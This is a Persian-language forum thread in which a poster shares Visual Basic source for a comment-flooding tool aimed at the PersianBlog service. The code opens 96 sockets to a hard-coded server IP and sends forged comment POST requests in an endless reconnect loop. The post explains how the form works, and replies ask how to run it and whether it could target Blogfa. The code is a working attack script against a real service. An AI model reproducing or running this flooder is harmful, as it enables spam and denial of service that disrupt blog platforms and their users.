ايران ويج

سلام با اين سورس ميتونيد كاننت وبلاگ ها رو بتركونيد

کد: 
[code]

------------------------------ 

Option Explicit 

Dim SendedData As Long, I As Integer 

Private Sub cmdSend_Click() 

SendedData = 0 

txtID.Enabled = False 

Text1.Enabled = False 

Text2.Enabled = False 

Text3.Enabled = False 

Text4.Enabled = False 

Text1.Text = Replace(Text1.Text, Chr(32), "+") 

Text2.Text = Replace(Text2.Text, Chr(32), "+") 

Text3.Text = Replace(Text3.Text, Chr(32), "+") 

Text4.Text = Replace(Text4.Text, Chr(32), "+") 

For I = 0 To 95 

WS(I).Close 

WS(I).Connect "64.5.37.86", 80 

Next I 

End Sub 

Public Function GetComment(cID As Long) As String 

Dim txt2Send As String 

txt2Send = "commentName=" & Text1.Text & "&commentEmail=" & Text2.Text & "&commentURL=" & Text3.Text & "&commentBody=" & Text4.Text & "&permitcookie=yes&cmtcn=%25uBF8E&cmttimestamp=%25uBF88%25uBF90%25uBF8D%25uBF8D%25uBF90%25uBF8D%25uBF8F%25uBF8F%25uBF8B%25uBF9F%25uBF8D%25uBF85%25uBF8B%25uBF8B%25uBF85%25uBF8C%25uBF88%25uBF9F%25uBFEF%25uBFF2&stat=undefined" 

GetComment = "POST /ucomments.asp?op=update&id=" & cID & " HTTP/1.1" & vbCrLf 

GetComment = GetComment & "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, application/pdf, */*" & vbCrLf 

GetComment = GetComment & "Accept -Language: fa" & vbCrLf 

GetComment = GetComment & "Content-Type: application/x-www-form-urlencoded" & vbCrLf 

GetComment = GetComment & "Accept -Encoding: gzip , deflate" & vbCrLf 

GetComment = GetComment & "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)" & vbCrLf 

GetComment = GetComment & "Host: commenting.persianblog.com" & vbCrLf 

GetComment = GetComment & "Content-Length: " & Len(txt2Send) & vbCrLf 

GetComment = GetComment & "Connection: Keep -Alive" & vbCrLf 

GetComment = GetComment & "cache -Control: no -cache" & vbCrLf & vbCrLf 

GetComment = GetComment & "commentName=" & Text1.Text & "&commentEmail=" & Text2.Text & "&commentURL=" & Text3.Text & "&commentBody=" & Text4.Text & "&permitcookie=yes&cmtcn=%25uBF8E&cmttimestamp=%25uBF88%25uBF90%25uBF8D%25uBF8D%25uBF90%25uBF8D%25uBF8F%25uBF8F%25uBF8B%25uBF9F%25uBF8D%25uBF85%25uBF8B%25uBF8B%25uBF85%25uBF8C%25uBF88%25uBF9F%25uBFEF%25uBFF2&stat=undefined" 

End Function 

Private Sub Command1_Click() 

txtID.Enabled = True 

Text1.Enabled = True 

Text2.Enabled = True 

Text3.Enabled = True 

Text4.Enabled = True 

For I = 0 To 95 

WS(I).Close 

Next I 

End Sub 

Private Sub Timer1_Timer() 

txtC = SendedData 

End Sub 

Private Sub WS_Connect(Index As Integer) 

WS(Index).SendData GetComment(txtID) 

End Sub 

Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long) 

SendedData = SendedData + 1 

WS(Index).Close 

WS(Index).Connect "64.5.37.86", 80 

End Sub 

Private Sub WS_Error(Index As Integer, ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) 

WS(Index).Close 

WS(Index).Connect "64.5.37.86", 80 

End Sub 

----------------------------------------------- 

 [/code]

خوب من در اين فرم 5 تكست باكس گذاشتم: 

txtID: درون اين تكست باكس شماره كامنتي كه اطلاعات به آن فرستاده مي‌شود نوشته مي‌شود(مثلا: 2151766) 

Text1: درون این تکست باکس نام فرستنده کامنت نوشته می شود. 

Text2: درون این تکست باکس آدرس ایمیل فرستنده کامنت نوشته می شود. 

Text3: درون این تکست باکس آدرس وبسایت فرستنده کامنت نوشته می شود. 

Text4: درون این تکست باکس متن کامنت نوشته می شود. 

همچنین در این فرم یک Label به نام txtC وجود دارد كه تعداد كامنت‌هاي فرستاده‌شده را نمايش مي‌دهد. 

در اين فرم از 96 كنترل Winsock استفاده شده است كه تمامي آنها انديس مي‌باشند و از انديس 0 شروع شده و تا انديس 95 ادامه مي‌يابد. علت استفاده از 96 Winsock بالابردن سرعت فرستادن كامنت‌ها مي‌باشد. قابل توجه است كه به تعداد استفاده شده از Winsock ها پورت‌هاي كامپيوتر شما نيز اشغال مي‌شوند و همچنين سرعت اينترنت شما نيز كاهش مي‌يابد. 

در اين فرم يك تايمر وجود دارد كه در هر يك هزارم ثانيه مقدار كامنت‌هاي فرستاده شده را خوانده و آن را نمايش مي‌دهد. همچنين 2 Command Button وجود دارد كه يكي براي شروع فرستادن و ديگري براي توقف فرستادن استفاده مي‌شود. 

هنگامي كه ما بر روي دكمه شروع كليك مي‌كنيم نرم‌افزار با استفاده از اطلاعات داده شده توسط كاربر در تكست باكس‌ها يك فرم مجازي ايجاد كرده و آن را توسط 96 سوكت به سرور پرشين بلاگ مي‌فرستد و هنگامي كه يك سوكت از سرور پرشين بلاگ اطلاعاتي دريافت مي كند بلافاصله از پرشين بلاگ قطع ارتباط مي‌نمايد و دوباره شروع به فرستادن مي‌كند. اين كار تا زماني كه كاربر تمامي سوكت‌ها را توسط دكمه توقف نبندد ادامه ‌مي‌يابد

موفق باشيد

ساسان

شخصي با اسم ايمان اين رو نوشته

سلام.ممكنه بگيد سورسو چه جوري بايد باز يا اجرا كرد؟ :oops:

حالا بيخيال اخه ديگه پرشين بلاگ هم يه كارايي كرده :wink:

آره بابا يه زماني يه كامنتور واسه پرشين بلاگ بود كه ظرف سه روز باعث شد انها برنامه كامنتشونو عوض كنن . مهدي جون يادته گفتي كامنت هاي وبلاگت باعث شده وبلاگ بالا نياد.

راستي اين كار رو مي شه براي بلاگفا انجام داد ؟!
يا نميشه يه جوري مشكل ارسال رو حل كرد ؟

من كار نكردم با بلاگ فا اصلا نميدونم چي به چي هست

4shir نوشته است:من كار نكردم با بلاگ فا اصلا نميدونم چي به چي هست

بلاگفا : پرطرفدارترین سرویس وبلاگ فارسی !

اصلا می خوام بدونم می شه از طریق یه برنامه برای وبلاگ کامنت گذاشت
یعنی بجای ارسال ایمیل از کامنت استفاده کنیم . Exclamation

ba nazaram in kod ba wasita perl bayad ijra shawa ...??

4shir

Kouros

mehdvirus

ashkan

arnh

4shir

arnh

marx